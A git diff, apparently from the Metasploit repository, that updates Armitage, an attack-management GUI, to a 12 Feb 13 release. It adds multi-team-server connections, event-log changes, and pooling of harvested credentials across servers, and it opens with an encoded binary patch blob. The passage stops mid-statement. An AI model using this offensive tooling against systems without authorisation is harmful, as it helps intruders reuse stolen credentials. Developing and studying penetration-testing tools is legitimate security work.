zPk*Yn{T`G}filyr=3Y7`%D0*iqO2mhvXbH(DE*}QlGI9DC&0}cDk;3Z(np%@O9o!= zS8Z}0a`_6{W7;nw8q)|TIiFXs!ci@hAxYs>mEQGP(6nG4G9OrZV%q{c=b`Q^79R8ee3`pqEGs>GtZ5qp@%1Rs3QhQ5ZkE+VXo-lYY&_s0pcqJvwRt8b^uA;3ZTO}ZA z+yKbwa4^HvX75RotQ(zj75NtX9amVMGljmo%0Z2A18{R11Ip0DGO`=aKl5zx87d19 zJkv>9`z5r7l;g;sHhg0FmVtA}l^qPMCT>f1{xiJM5Myt>{@9xnmcVfe|%!bH4UC zI%~9t%!=^<>&*eqdU#IhCY6#JIP6VTuXV8J75*Yj?5lQ$%X{C3X|?l|)>5OGn^HZY zF7&K{9U@sSIdA}D`Q{o}jAbXmlqXwCXe$L~fSzaPP1~YWlvgoxCxr@JG6Vco!Oq3re^YDgQ zdkYv)miB&D@{=OcF{1ffTBt6dU~`ye8oMlt^unke>n$oN>xg=sY_lcsje^VRQZbhSkL)^&1+47*zcHxm|k6GsF^6g zx(q`ZMLmrT1^C-U&_BL%^(PrT)>(qRzIVW{56{19jOtfFujzOf<4wta7`$8h$#eKy zwHCK&^nXP!`Z7^IcxU?|BJBehfPU^Lr%w?>--VF7zdVVH_J=v5-i93N*tpY4^GH6V zcKP^^wg&2Og*m2In|FFz?JxJ((V1*)nHb*1@0rR+Rs@$d>8HkU$yY2}ZranWnv6ue*x4%FbNe_2_<;=ghem<50S zq+m@gF4`ZWQdgT;77AuYaWwmz0(I8M(SJh0%AXW;#ZN0RV`E}%tf{oD98~*2XsJ<; zv!Vk2mAMfy}IV3xtq1NAD0VsnR4wQ^##aC#(-EhqA$oGTdP^sltLoaj@I-L%wQ z_ju(lbdvJ8xN1xqkTlB1Y{-bd*z1v}H{N=mfi7rgM_j{AtL{CCDwdbWtqX0cj2aVQ zW_GK|k1Gxvr_reLB0uq)RvtOsalH+-+GA6O6yCCv3m7bBNpQLEC)sKS19sRbOE><< z#zPv1xQ7@|ze(b`)7fD8YFS)X<@*tVy@BAEE_}4#ml`5RuV%rH&#NGG6Am>MO3tBQ zASKl>C--Eq|8@GF* zXD`==QM++I4Q?`gGLy3}P;98Em%_Y%RK1dCP~X<^N6R9v(5g_8uiGp?xwOL;Xb3?Y zOy_gW@@;7FOStyV7A18B5{#im_ecgKceUfFn)rl&m6`W(GIl^u%w8-J#^ z3e5^=SeWdF!RH+h#G+>Lr@rI(l(vV7AyP|rsAo?Zj<%M?wanC6%bwAfFfmF|^R*3S z3#uB@oSPDjE9*$ch{TG??j}WUWj+?2dwv#H54%EQTQ4CmGKU zS6R?*EvgRo{0?czK_`YO;{9YORww?VsOJA&z=F2w#7YXU0Ar{`Cst5=`35!8i?tP- z0wsYUW?YyeBS@k=Nnb^!WCsSqghl13ya?qttEecpvC4}z6&pGtY+PSeg0NC3ijfM- z+A50dpmL@;EzuJHNT_QYB}4I%Vl_onU76YvDOOSV)R!n6K#UX{D)u#yC@+eyfO6+r z%e-R|81^K$?yG^L^!Hc6Ftpw3s?p20%}8v)e!vg zsghthI$aGlELS4a!dJ1Xoi7 z#naZy1*84HR0UW`#F+#7Rjfrg_JyVkRyq;#JWPqBL>2P&ejs6gsR7l zkkHytVTP4{X5OqkZjszo|ELYqPhH@=_77C9+@c}|E3R>PZh^{!!|kI0$LASfE1DMt z-P*eh@uz|)v5Ii_J|kjuII*m*7;Qe80-{l$os(K>kzAj9 zJ=7OtL96SDwJ4z;6t8e*M518hLksGQ)v0-XvA*!yml4B+z5a};r`&~VD~gIiek`x4 zHjY%KFeZQ&)l@ri52gQt8iFG^{8v4-)LLveGk9VZ4u>~D*Jy+p7%Q680O=Bfc@QHm zHNgC!1tv9&&^83I2GbTs#5TswOGZNk`))HMWLh`13&k~oWz`y?29FpcUQWE)jq^4# zUdPr(ysy3B7pa^N6bp;n8F(Fp3mrLeu(8-taO`T}cv7<_NUdevjgY9sZ*|;j0zHp< z8u7$tqKc|F6>A8a`}_!JHx*k5j|ZBSWNwc%Ld51`J>mHTBV=uJv5pXt zY(PAWVinN>7L}RBd2uaJbm)8oVMzyCAk(TY=7^>xTDFTg;h(Lxqn24}X#~f~#FnD3 z5Wmd8bD*LPYDeZhTl%*6PE0Dy{5>VN!L<8% zTjYCNoHFVF9k;!0op}@bw?oZ?Y&pEVoruG7cAR+G4h8(3II$tn7AMNPqSC(YQDBxg zhnKb&D+|5>oLFDM)|QsVLB_lTWU|V0xMBzN(2F6AXd-mMelIiNVQpJic1_2cCTssk z6fnO+$?efQ}E$a{|@$pnJ^F~t!s;aE$axy-gP;Asw1quSdSC_oiH-4ZNdqC z7h7p|sG*wOOk8xi85fA_W~-)|17Yg@PSALwxdFB$&(6r@fiWD(=`31NVrS^q#~P5@ z!tz#}nA8O-D)qAUq&gGuuNGaPtVcToFIxD}i4JuUTMAxX$+4^0T6ooqeY?~6u3{y@ zWgwSKA7|^&Bl@W;6u1xPaQ0lpal;fO!;^kc-ntuj9e*?8&FKca%1PFE8Ho~p#}>Mwz}$GS+u+EO0l611Ruw92 z;>f=Jw!Re8113!Pmm}7ffox^S$I~2n-2<8R=8CMMCvK1H^oNfp_Jnb{Hw|z@p=Z8< zaHW=m?5ruQ7xdJ4V1QjHsTZzfUrIP~yqDNe7>wJTfzTJ+Tdaw2S>lVzBQ2W14<*-(5K4)eY04aHgB94->=T&Zavv4XI{#|YWf2ZQnuKLg@L`o1Xj z4>nDivc}EqG(7Z+`=XAgH935uFZyL@T~6$3ZRf~k8uo)s?fM)Z*AGz$Z^((${m=*@ zmJ{=O*m=;25(xg?lKZNWi% zX11iOMS`6_?-Mfzz^-vU3_M5XVK=&Qz@+fVEli-R@b7;1?MD*_A{TW>d8xAlabX(p zA16WvAv>DkRQMpVyRh&$9U3II7v`R1-=5@s%g&k72eZ};`jgM*+$MJ+?@QWKGW z`8c>a6w1e!x0meJkX5L?aYQoQ>FzMx3)Bp?_vI~klZf{2^WboYaFmlO>@o~+2X79i z4}(!5evIg+cpqR-=cnjBQft{OY4C7d28V|k5Jx&O9ER=G(#sK|4>^s%_2*qhPV^pu z+!|Gb5x%sSaTZ21qLr|VFrcNt7*IvOrt^cyb7{btH|>2iAy%D?;Vx>L-Uw`YH6DrsW6JswFM4IBPW zrQFeCIf`9xZ^Lyx-e?kq*W_v$M8iS%!Rxw0JH^#uI@T0PRaV#dG z{^9g`yck4z<1jX^8Y})Hr0b24I&~fJtXl3j11pY0{02lC35*|yIqs&42Bf;MZMuQ5 zq27Urt~+vGw@IQSxlR%zg)>eDBv$C*Y9KV! z=M7E~OTFspB(y6(ob$Yr(7#LTbE2?=Mor_BFole4V1(RCLhkl%Xg~sZ+V@F@p43JR z?kJRL%D#gry9<^{q~Lo@2HU;`hdWKi^m%!EPVAYCSj_9f3BM^&ZWYgo^kEtYJ~vuB z1*Mzzp+i&PmG}6y-(+|tDMjNMBV_1ZMsyQu-sckOAK;&Qv&F`OJq}5- znt<5S^nOUn*_MtDM)wuv-f@BA*;qL#|4BnJb0Pk>jiW1{gL&CI8ZW5rES4o2+B>>& ziEDFUy1zNKoQt&?@3}B%vJE5R6rN6wRCgLqn;w~qaciEtOhtz~;*qIPl&>`pW7gju z-*Hc)OU=4@7>$CxWoEV(g`{J|pXT9?#M;l14n1%zM^W>!=(eN1OttLqsHBYf(7G{E zhTbrNMQJjn-3kG=(M|CSaPO6~j*=FL9Tm+lN_;IT7ou$DS6MpB!AU9YY}3$%sB~9F zCthi61K|6ZsBaA!vR{O1Tw2N0mYz;(8nFlhi4$e$C=;kKPp149gR3~nLhbmi=(L!E8;0Gvqh zSI;;Ozesd;;5RqN2&K|`(}Ja#aC{})gXsHlV*hB!e7~vr6#|0YK*oy^>LzlTbIHzj zWV4J7s>7LPH$3`{0eRV2POM!9ec2N@QM3&0+P9KkufU9D>vGYaniScUp@iiqU469y zjuHa@;>7JEX#1cyEgFn+X^nVYNU7Eax-nV(Y*{2k9vmH41WxA)L zIzlmNVxY8vdbVk|))TPvG82EMYxk97Tq(Z4s|)4CyW-)dG8s_#DBBpYw-TL&gyg*wbDUbv%EPV=ju4pYsTfU; zf5=k0rhPq`SRK--_Zr!+v(_LVZe)f~%&w3!c$>bt z;G)2Oj8bWaJwVC@S9mg=3fEv@VSr~Q#AnP6r8<9wdXQU2s6EAH%BeM!@h*|fTbn8J zJ^o5&JF90QH#@ceF-1>iNV47$KU7;UYumUBOYL!nEX>RdhpP;q%;Zh`$bYREAbI`R zy%jl8@a51}Kkgs>dWw3il@GU7zIW>O4eVb&t?;AN{RgxfQj$+6Uz}Ov5}b7flBUio zd>=~p*2>-Oa6-ZS9Bk1!;G~Ud*L`0cO6C6)1Ek*%UpURHwHNp z`M0_=lM`I&?w_KMFzkkV(QDk>xI#wwqfp6xK7TQVphe9HsrBh4p&~C zo2z!gq{-rsq2JS;I<1#OAO0-*@Ck%VKoGDGYWQR(XAGg`>*Wz)-+CnE(ve{#P7ibc zF}G8*Q1k4mp{W4mD{b<2{6<+6KLc58$k-p}YHrkyw;l~!em zfl>mDbuN7QAA%SRH<)g17A*fB#1XxQ4@msKVQhD1{^wj2)ZrX}Y5VdsjLP>JKB~{~ zAF@D-@AjSLqt7C~QOHx%4s;ujkZ%wJy0abrcV7OFKB2`OLw^is-rq*G^zSp6{p$UX ziR$iZmp=!Q3JU+Rjf$gmXM^n3H%~L~6u^=Q_{+2<2QQNUM)~YQn^z->#~@c;M*Wzz z*RE3BMv=d?Y|=)=bK;9IDm4#xqwO0pCdGchgUmMJzEr{})+aj4c%RU^tzndW6sZ@quZo*vQG9EbHjr+7Zo3Vu1!IBemH#3ekCvG#Mt%?)6 zEx2bHiRE5aX3`eikmJdCi8#XuB_0-KoV2iT+%uoUglTj{xbch%PnJjmDDUek zRM(jZ9P{J?U3KAhT%bmziNJ9mF3>F!8vL^{ud(*$$jXW+GL#`#%W`CEHX8Ll$UrE` zY8$49BZG~Q&fBmY(I?ah*|ZH4#S}bp#9HE42TDJ)eOt+?PJdw{6rnTltf}c=C_f#K zAIZ{q_10gwqpe!W2zmM!G&ZSXKrE@+c9a^9=Zjb=>*i?6{OvG&S`ChPwG4NlI}Ayy z&5?i|h{DcjP7K=teQupOv2h42lxFLag;#gL!k~VP=R=yEFy)a<#P7r%^85ju1Hzh) z?1X>L3^GE>?m`rY3^76`F~l-~A!X^tE|@J0<3!}&m|brj!HHRagLC~?PK=uglV1J} z^B0X~NFYV+h9NV@GNQe(b37M&wi|8gHHj0A_aHLslR43JNw|tO?ty|OQ#tZ^56p;} z&WW~rQFD`-oY=w$+u1U)D%_To&yiO_|G*Cm@rW<8yXQY}SkZh=tjr8o(!qbA{MABQ zy$@{reNb+-gcAeyL0=s9qV|cMg&gcVF^Txi2#9V!%KW~PY4M@o_QUuScwTomZUxWo z#~q#B2HKW`g-E{~wDqD)49`KQloEYO4h*`tiOF;j;x-4?*dI^PCVL!e1{BLFpsBH;Gwa<1hkgeO;D4j0AadlM{~*!%KZ`bE3|_sIJN# zPAvJCty0}%gfHd154U266g8wif)S`fNjQZZ5nC# zj!EFX5WItxD;r@vUTnuB?MHEVGU_ONI@W;^U4=<_hW#k+qdy)+`=>i|LLVGqOVzKS z+7bVuwPtR-VD^95N>Y^Jgu^k!>=s5CrgDNV!iGntfoM|aMeI}^#di9^V_1o^35=kW zDiHy4QXPlt4M7xr9Jhb{%CT>6+ISqUcwU|pC5#9Up{9^0XjZ3|5gJUS`6n~^G2LaAf5O2RMNHiY z%559rOHEF}wbSZHP;}=AFIt#@n?R}NtW$_Y!(U|lUWW)bwxX#a>(jswG?efFR$4?%mvh6U_&~@b7JZG}uJ# z$WBZOFB&_8j>MGNQo#%6LaB!(_zy-t*Xr{Ueo1&x_53w;9y@0+wNiWzp*kIA^>0 z0`AB0#5{=ZLR>brx`-^@vV+l{wD$&XuJbRV>e77?l$0A$mV7Uv>Jf*j=_Ryf@?~0n zNo=7wofknZUPqLns)bmA8uT{8!RUCSJix*7a8rwAxzhO6RVK6&3#PB+8HXiAq$uVkPdnPNrVn#H#!Hn_{GS8bz{L z0;sDf!sd$<5Ku~ry@h~muPj52n`mvxgY~cNw@~|#sxtoI7TjfDQ>G&GK>63!(&|{P z4;QCA^rnJXz0R&)ZmivBv}Sj2L$dt(7Nz6l_WMsx0> z_Stbp0=f}e7d9ecx2=}}ZZ0hCXCUlo{ylWE`vVP#Exo^op<&{1j?}u3!N+nWCuZNr zj>myfoVa}-<5%y|2Ev6}wnGBJ5jY<*fx{UOP~hVv%6lNTQEX4rQl-UOf9d%ZJ|OgZ zh(I2kqNTcov`c@8bm{)PmhzWsL#5@r)JItOE15z5kIlOdyL|JW>frQj4l=C(B{V&ZHlFDZ(6zxK`gjhL%1+OsYObVjs+vD1SaI`P# zj+PF*MOx!Di#(*Bc!pN*zpJIF_u8`j>Qm-9pjVGzQjr!<3p{6IMS(;))7O{|cGxf=9exBUw&GQmfZuC&8)``}U^e zuVG)WdXiewyn$06Hl${6#HNbUPC7~&qVp%u7s!R=&O)k$5@X2DER|U`^+1!v!t7EaW_!h-+-v8`a3izXAnn5zk@S= zAIgbCjHo}16RP*HzS9U!JfEg>qE2iSp7I_w;5C#|4e=>DJ38DKGz3%adG1Z+~k%_)zPG-XbgMfn6#)8r0X@%3F{8|Sm-r<#N@#5X!tUu z0DC8bboXCN8`0<-n7&S1tGxSX>Bd&wvF_b{~LN{-^k zft{uHwBM?!R~f4ZRq()?=`(8&)0k)(nz&8J-z6bg+v+p4wA-Yk$WuBO>3vDk%aYkI z2~+xKJiAt5tIRv~S+3&8U-Nc)=GGUUiPPd=Z1C2hG2nSyeq)mV!!5 z3*_J71<0;Q^pKRh^;yyS7L+F;6-{Nw+&5M}?4jO8%G<;19m98`z~`R|OnpqRi{-VV zqLVGMtH1=d4r{8m|1%Q5ihhzC!&X+Y`hZq-MUJ5x7(SWFX9{(c_*Guwoc9%J^$I`Q zu=%U}m~*vZF>~0HAM;R!=>p&W4?21UF+Fp{sR|+PX%L(Lli0jZa^w1p9@%g}pTWIp zwT0*+8FjC6q}4hU+WJ$WIJ{9}REfOezoG<2RWH`jo^Qx)h7^_PsJKLahQzNFq0bel zR;k>QE&vqn7I+W1yWW-Nmdg2+#^fBWXm9DaO%Mj0RZ?*&*R;eh(o2z~)>A+L-l-(| z;RRCP3NIM|)^t0G<@5cu)ccZMGS8wF-Uxu{@G{R~Np7Sxx-9vMqU5Nj$Z~kMCVR_` zK(2!KDYu^c_1Vv<|l*p?ZYz=FJF6fWsGhIqP7ETAD zD}<%c=gaS`lAt3Mf2NDH%`53yXKmJJ49(Bgdq}QZd+kQue<7(u?UnKU?UR}OwUVAT zH^F<0vKzzK?1~}zXr=}H=UheN`AIKGlx%Czw0`CB&`}?bGJQVJsTRdrMe@ga$62A_ z|JBB;!Xo*@I`I+rhp`v5u%Mg1dt_D=-LZ<~uUN6MMxC3Z^%OlA_C#CD;fet)Os!9Y Xtt0*IFIil&Xg=TEEVv2w2h9ElMPvG^ diff --git a/data/armitage/whatsnew.txt b/data/armitage/whatsnew.txt index c1e03e579b..55804871ff 100755 --- a/data/armitage/whatsnew.txt +++ b/data/armitage/whatsnew.txt @@ -1,6 +1,29 @@ Armitage Changelog ================== +12 Feb 13 (tested against msf 16438) +--------- +- Fixed a corner case preventing the display of removed host labels + when connected to a team server. +- Fixed RPC call cache corruption in team server mode. This bug could + lead to some exploits defaulting to a shell payload when meterpreter + was a possibility. +- Slight optimization to some DB queries. I no longer pull unused + fields making the query marginally faster. Team server is more + efficient too as changes to unused fields won't force data (re)sync. +- Hosts -> Clear Database now clears host labels too. +- Added the ability to manage multiple team server instances through + Armitage. Go to Armitage -> New Connection to connect to another + server. A button bar will appear that allows you to switch active + Armitage connections. + - Credentials available across instances are pooled when using + the [host] -> Login menu and the credential helper. +- Rewrote the event log management code in the team server +- Added nickname tab completion to event log. I feel like I'm writing + an IRC client again. +- Hosts -> Clear Database now asks you to confirm the action. +- Hosts -> Import Hosts announces successful import to event log again. + 23 Jan 13 (tested against msf 16351) --------- - Added helpers to set EXE::Custom and EXE::Template options. diff --git a/external/source/armitage/resources/about.html b/external/source/armitage/resources/about.html index e19056effa..1167b175f4 100644 --- a/external/source/armitage/resources/about.html +++ b/external/source/armitage/resources/about.html @@ -3,7 +3,7 @@

Armitage 1.45

An attack management tool for Metasploit® -
Release: 23 Jan 13

+
Release: 12 Feb 13


Developed by:

diff --git a/external/source/armitage/scripts-cortana/internal.sl b/external/source/armitage/scripts-cortana/internal.sl index c83929a79c..5ab90d7235 100644 --- a/external/source/armitage/scripts-cortana/internal.sl +++ b/external/source/armitage/scripts-cortana/internal.sl @@ -9,6 +9,9 @@ import msf.*; # setg("varname", "value") sub setg { + if ($1 eq "LHOST") { + call_async("armitage.set_ip", $2); + } cmd_safe("setg $1 $2"); } diff --git a/external/source/armitage/scripts/armitage.sl b/external/source/armitage/scripts/armitage.sl index fe2af9a9ec..427e1c4a82 100644 --- a/external/source/armitage/scripts/armitage.sl +++ b/external/source/armitage/scripts/armitage.sl @@ -15,7 +15,7 @@ import graph.*; import java.awt.image.*; -global('$frame $tabs $menubar $msfrpc_handle $REMOTE $cortana $MY_ADDRESS'); +global('$frame $tabs $menubar $msfrpc_handle $REMOTE $cortana $MY_ADDRESS $DESCRIBE @CLOSEME'); sub describeHost { local('$desc'); @@ -165,6 +165,7 @@ sub _connectToMetasploit { $aclient = [new RpcAsync: $client]; $mclient = $client; initConsolePool(); + $DESCRIBE = "localhost"; } # we have a team server... connect and authenticate to it. else { @@ -172,6 +173,11 @@ sub _connectToMetasploit { setField(^msf.MeterpreterSession, DEFAULT_WAIT => 20000L); $mclient = setup_collaboration($3, $4, $1, $2); $aclient = $mclient; + + if ($mclient is $null) { + [$progress close]; + return; + } } $flag = $null; } @@ -319,28 +325,23 @@ sub postSetup { } sub main { - local('$console $panel $dir'); + local('$console $panel $dir $app'); - $frame = [new ArmitageApplication]; + $frame = [new ArmitageApplication: $__frame__, $DESCRIBE, $mclient]; [$frame setTitle: $TITLE]; - [$frame setSize: 800, 600]; - + [$frame setIconImage: [ImageIO read: resource("resources/armitage-icon.gif")]]; init_menus($frame); initLogSystem(); - [$frame setIconImage: [ImageIO read: resource("resources/armitage-icon.gif")]]; - [$frame show]; - [$frame setExtendedState: [JFrame MAXIMIZED_BOTH]]; - # this window listener is dead-lock waiting to happen. That's why we're adding it in a # separate thread (Sleep threads don't share data/locks). fork({ - [$frame addWindowListener: { + [$__frame__ addWindowListener: { if ($0 eq "windowClosing" && $msfrpc_handle !is $null) { closef($msfrpc_handle); } }]; - }, \$msfrpc_handle, \$frame); + }, \$msfrpc_handle, \$__frame__); dispatchEvent({ if ($client !is $mclient) { @@ -371,7 +372,6 @@ sub checkDir { } } -setLookAndFeel(); checkDir(); if ($CLIENT_CONFIG !is $null && -exists $CLIENT_CONFIG) { diff --git a/external/source/armitage/scripts/collaborate.sl b/external/source/armitage/scripts/collaborate.sl index 4a2cc2959c..2f302c3837 100644 --- a/external/source/armitage/scripts/collaborate.sl +++ b/external/source/armitage/scripts/collaborate.sl @@ -23,6 +23,7 @@ sub createEventLogTab { $client = [$cortana getEventLog: $console]; [$client setEcho: $null]; [$console updatePrompt: "> "]; + [new EventLogTabCompletion: $console, $mclient]; } else { [$console updateProperties: $preferences]; @@ -63,6 +64,7 @@ sub c_client { # run this thing in its own thread to avoid really stupid deadlock situations local('$handle'); $handle = [[new SecureSocket: $1, int($2), &verify_server] client]; + push(@CLOSEME, $handle); return wait(fork({ local('$client'); $client = newInstance(^RpcConnection, lambda({ @@ -91,9 +93,11 @@ sub setup_collaboration { %r = call($mclient, "armitage.validate", $1, $2, $nick, "armitage", 120326); if (%r["error"] eq "1") { showErrorAndQuit(%r["message"]); + return $null; } %r = call($client, "armitage.validate", $1, $2, $null, "armitage", 120326); + $DESCRIBE = "$nick $+ @ $+ $3"; return $mclient; } diff --git a/external/source/armitage/scripts/gui.sl b/external/source/armitage/scripts/gui.sl index 7f7f155f88..d5dae2412b 100644 --- a/external/source/armitage/scripts/gui.sl +++ b/external/source/armitage/scripts/gui.sl @@ -95,13 +95,13 @@ sub dispatchEvent { sub showError { dispatchEvent(lambda({ - [JOptionPane showMessageDialog: $frame, $message]; + [JOptionPane showMessageDialog: $__frame__, $message]; }, $message => $1)); } sub showErrorAndQuit { - [JOptionPane showMessageDialog: $frame, $1]; - [System exit: 0]; + [JOptionPane showMessageDialog: $__frame__, $1]; + [$__frame__ closeConnect]; } sub ask { @@ -155,7 +155,7 @@ sub chooseFile { [$fc setFileSelectionMode: [JFileChooser DIRECTORIES_ONLY]]; } - [$fc showOpenDialog: $frame]; + [$fc showOpenDialog: $__frame__]; if ($multi) { return [$fc getSelectedFiles]; @@ -179,17 +179,18 @@ sub saveFile2 { [$fc setSelectedFile: [new java.io.File: $sel]]; } - [$fc showSaveDialog: $frame]; - $file = [$fc getSelectedFile]; - if ($file !is $null) { - return $file; + if ([$fc showSaveDialog: $__frame__] == 0) { + $file = [$fc getSelectedFile]; + if ($file !is $null) { + return $file; + } } } sub saveFile { local('$fc $file'); $fc = [new JFileChooser]; - [$fc showSaveDialog: $frame]; + [$fc showSaveDialog: $__frame__]; $file = [$fc getSelectedFile]; if ($file !is $null) { local('$ihandle $data $ohandle'); @@ -250,10 +251,10 @@ sub left { sub dialog { local('$dialog $4'); - $dialog = [new JDialog: $frame, $1]; + $dialog = [new JDialog: $__frame__, $1]; [$dialog setSize: $2, $3]; [$dialog setLayout: [new BorderLayout]]; - [$dialog setLocationRelativeTo: $frame]; + [$dialog setLocationRelativeTo: $__frame__]; return $dialog; } @@ -261,7 +262,15 @@ sub window { local('$dialog $4'); $dialog = [new JFrame: $1]; [$dialog setIconImage: [ImageIO read: resource("resources/armitage-icon.gif")]]; - [$dialog setDefaultCloseOperation: [JFrame EXIT_ON_CLOSE]]; + + fork({ + [$dialog addWindowListener: { + if ($0 eq "windowClosing") { + [$__frame__ closeConnect]; + } + }]; + }, \$__frame__, \$dialog); + [$dialog setSize: $2, $3]; [$dialog setLayout: [new BorderLayout]]; return $dialog; @@ -277,12 +286,14 @@ sub overlay_images { return %cache[join(';', $1)]; } - local('$file $image $buffered $graphics'); + local('$file $image $buffered $graphics $resource'); $buffered = [new BufferedImage: 1000, 776, [BufferedImage TYPE_INT_ARGB]]; $graphics = [$buffered createGraphics]; foreach $file ($1) { - $image = [ImageIO read: resource($file)]; + $resource = resource($file); + $image = [ImageIO read: $resource]; + closef($resource); [$graphics drawImage: $image, 0, 0, 1000, 776, $null]; } @@ -371,15 +382,6 @@ sub wrapComponent { return $panel; } -sub setLookAndFeel { - local('$laf'); - foreach $laf ([UIManager getInstalledLookAndFeels]) { - if ([$laf getName] eq [$preferences getProperty: "application.skin.skin", "Nimbus"]) { - [UIManager setLookAndFeel: [$laf getClassName]]; - } - } -} - sub thread { local('$thread'); $thread = [new ArmitageThread: $1]; @@ -467,6 +469,13 @@ sub quickListDialog { [$dialog setVisible: 1]; } +sub setTableColumnWidths { + local('$col $width $temp'); + foreach $col => $width ($2) { + [[$1 getColumn: $col] setPreferredWidth: $width]; + } +} + sub tableRenderer { return [ATable getDefaultTableRenderer: $1, $2]; } diff --git a/external/source/armitage/scripts/hosts.sl b/external/source/armitage/scripts/hosts.sl index 448bdb8fc7..7674154585 100644 --- a/external/source/armitage/scripts/hosts.sl +++ b/external/source/armitage/scripts/hosts.sl @@ -8,10 +8,10 @@ import java.awt.event.*; sub addHostDialog { local('$dialog $label $text $finish $button'); - $dialog = [new JDialog: $frame, "Add Hosts", 0]; + $dialog = [new JDialog: $__frame__, "Add Hosts", 0]; [$dialog setSize: 320, 240]; [$dialog setLayout: [new BorderLayout]]; - [$dialog setLocationRelativeTo: $frame]; + [$dialog setLocationRelativeTo: $__frame__]; $label = [new JLabel: "Enter one host/line:"]; $text = [new JTextArea]; diff --git a/external/source/armitage/scripts/log.sl b/external/source/armitage/scripts/log.sl index 6916a2d78f..e1d6c09800 100644 --- a/external/source/armitage/scripts/log.sl +++ b/external/source/armitage/scripts/log.sl @@ -15,8 +15,8 @@ sub logNow { if ([$preferences getProperty: "armitage.log_everything.boolean", "true"] eq "true") { local('$today $stream'); $today = formatDate("yyMMdd"); - mkdir(getFileProper(dataDirectory(), $today, $2)); - $stream = %logs[ getFileProper(dataDirectory(), $today, $2, "$1 $+ .log") ]; + mkdir(getFileProper(dataDirectory(), $today, $DESCRIBE, $2)); + $stream = %logs[ getFileProper(dataDirectory(), $today, $DESCRIBE, $2, "$1 $+ .log") ]; [$stream println: $3]; } } @@ -26,8 +26,8 @@ sub logCheck { local('$today'); $today = formatDate("yyMMdd"); if ($2 ne "") { - mkdir(getFileProper(dataDirectory(), $today, $2)); - [$1 writeToLog: %logs[ getFileProper(dataDirectory(), $today, $2, "$3 $+ .log") ]]; + mkdir(getFileProper(dataDirectory(), $today, $DESCRIBE, $2)); + [$1 writeToLog: %logs[ getFileProper(dataDirectory(), $today, $DESCRIBE, $2, "$3 $+ .log") ]]; } } } @@ -38,7 +38,7 @@ sub logFile { local('$today $handle $data $out'); $today = formatDate("yyMMdd"); if (-exists $1 && -canread $1) { - mkdir(getFileProper(dataDirectory(), $today, $2, $3)); + mkdir(getFileProper(dataDirectory(), $today, $DESCRIBE, $2, $3)); # read in the file $handle = openf($1); @@ -46,7 +46,7 @@ sub logFile { closef($handle); # write it out. - $out = getFileProper(dataDirectory(), $today, $2, $3, getFileName($1)); + $out = getFileProper(dataDirectory(), $today, $DESCRIBE, $2, $3, getFileName($1)); $handle = openf("> $+ $out"); writeb($handle, $data); closef($handle); @@ -70,7 +70,7 @@ sub initLogSystem { logFile([$file getAbsolutePath], "screenshots", "."); deleteFile([$file getAbsolutePath]); - showError("Saved " . getFileName($file) . "\nGo to View -> Reporting -> Activity Logs\n\nThe file is in:\n[today's date]/screenshots"); + showError("Saved " . getFileName($file) . "\nGo to View -> Reporting -> Activity Logs\n\nThe file is in:\n[today's date]/ $+ $DESCRIBE $+ /screenshots"); }, \$image, \$title)); }]; } diff --git a/external/source/armitage/scripts/menus.sl b/external/source/armitage/scripts/menus.sl index 59cd3c5143..011e0d72ed 100644 --- a/external/source/armitage/scripts/menus.sl +++ b/external/source/armitage/scripts/menus.sl @@ -119,10 +119,13 @@ sub view_items { sub armitage_items { local('$m'); - item($1, 'Preferences', 'P', &createPreferencesTab); - + item($1, 'New Connection', 'N', { + [new armitage.ArmitageMain: cast(@ARGV, ^String), $__frame__, $null]; + }); separator($1); + item($1, 'Preferences', 'P', &createPreferencesTab); + dynmenu($1, 'Set Target View', 'S', { local('$t1 $t2'); if ([$preferences getProperty: "armitage.string.target_view", "graph"] eq "graph") { @@ -183,12 +186,13 @@ sub armitage_items { separator($1); - item($1, 'Exit', 'x', { + item($1, 'Close', 'C', { if ($msfrpc_handle !is $null) { closef($msfrpc_handle); } - [System exit: 0]; + map({ closef($1); }, @CLOSEME); + [$__frame__ quit]; }); } @@ -246,7 +250,7 @@ sub help_items { [$dialog add: $label, [BorderLayout CENTER]]; [$dialog pack]; - [$dialog setLocationRelativeTo: $null]; + [$dialog setLocationRelativeTo: $__frame__]; [$dialog setVisible: 1]; }); } diff --git a/external/source/armitage/scripts/passhash.sl b/external/source/armitage/scripts/passhash.sl index ad9f68ce6a..c5eaf94ffb 100644 --- a/external/source/armitage/scripts/passhash.sl +++ b/external/source/armitage/scripts/passhash.sl @@ -58,12 +58,38 @@ import ui.*; sub refreshCredsTable { thread(lambda({ [Thread yield]; - local('$creds $cred'); + local('$creds $cred $desc $aclient %check $key'); [$model clear: 128]; - $creds = call($mclient, "db.creds2", [new HashMap])["creds2"]; + foreach $desc => $aclient (convertAll([$__frame__ getClients])) { + $creds = call($aclient, "db.creds2", [new HashMap])["creds2"]; + foreach $cred ($creds) { + $key = join("~~", values($cred, @("user", "pass", "host"))); + if ($key in %check) { + + } + else if ($title ne "login" || $cred['ptype'] ne "smb_hash") { + [$model addEntry: $cred]; + %check[$key] = 1; + } + } + } + [$model fireListeners]; + }, $model => $1, $title => $2)); +} + +sub refreshCredsTableLocal { + thread(lambda({ + [Thread yield]; + local('$creds $cred $desc $aclient %check $key'); + [$model clear: 128]; + $creds = call($client, "db.creds2", [new HashMap])["creds2"]; foreach $cred ($creds) { - if ($title ne "login" || $cred['ptype'] ne "smb_hash") { + $key = join("~~", values($cred, @("user", "pass", "host"))); + if ($key in %check) { + } + else if ($title ne "login" || $cred['ptype'] ne "smb_hash") { [$model addEntry: $cred]; + %check[$key] = 1; } } [$model fireListeners]; @@ -71,7 +97,7 @@ sub refreshCredsTable { } sub show_hashes { - local('$dialog $model $table $sorter $o $user $pass $button $reverse $domain $scroll'); + local('$dialog $model $table $sorter $o $user $pass $button $reverse $domain $scroll $3'); $dialog = dialog($1, 480, $2); @@ -83,7 +109,12 @@ sub show_hashes { [$sorter setComparator: 2, &compareHosts]; [$table setRowSorter: $sorter]; - refreshCredsTable($model, $1); + if ($3) { + refreshCredsTableLocal($model, $1); + } + else { + refreshCredsTable($model, $1); + } $scroll = [new JScrollPane: $table]; [$scroll setPreferredSize: [new Dimension: 480, 130]]; @@ -94,7 +125,7 @@ sub show_hashes { sub createCredentialsTab { local('$dialog $table $model $panel $export $crack $refresh'); - ($dialog, $table, $model) = show_hashes("", 320); + ($dialog, $table, $model) = show_hashes("", 320, 1); [$dialog removeAll]; addMouseListener($table, lambda({ @@ -131,7 +162,7 @@ sub createCredentialsTab { $refresh = [new JButton: "Refresh"]; [$refresh addActionListener: lambda({ - refreshCredsTable($model, $null); + refreshCredsTableLocal($model, $null); }, \$model)]; $crack = 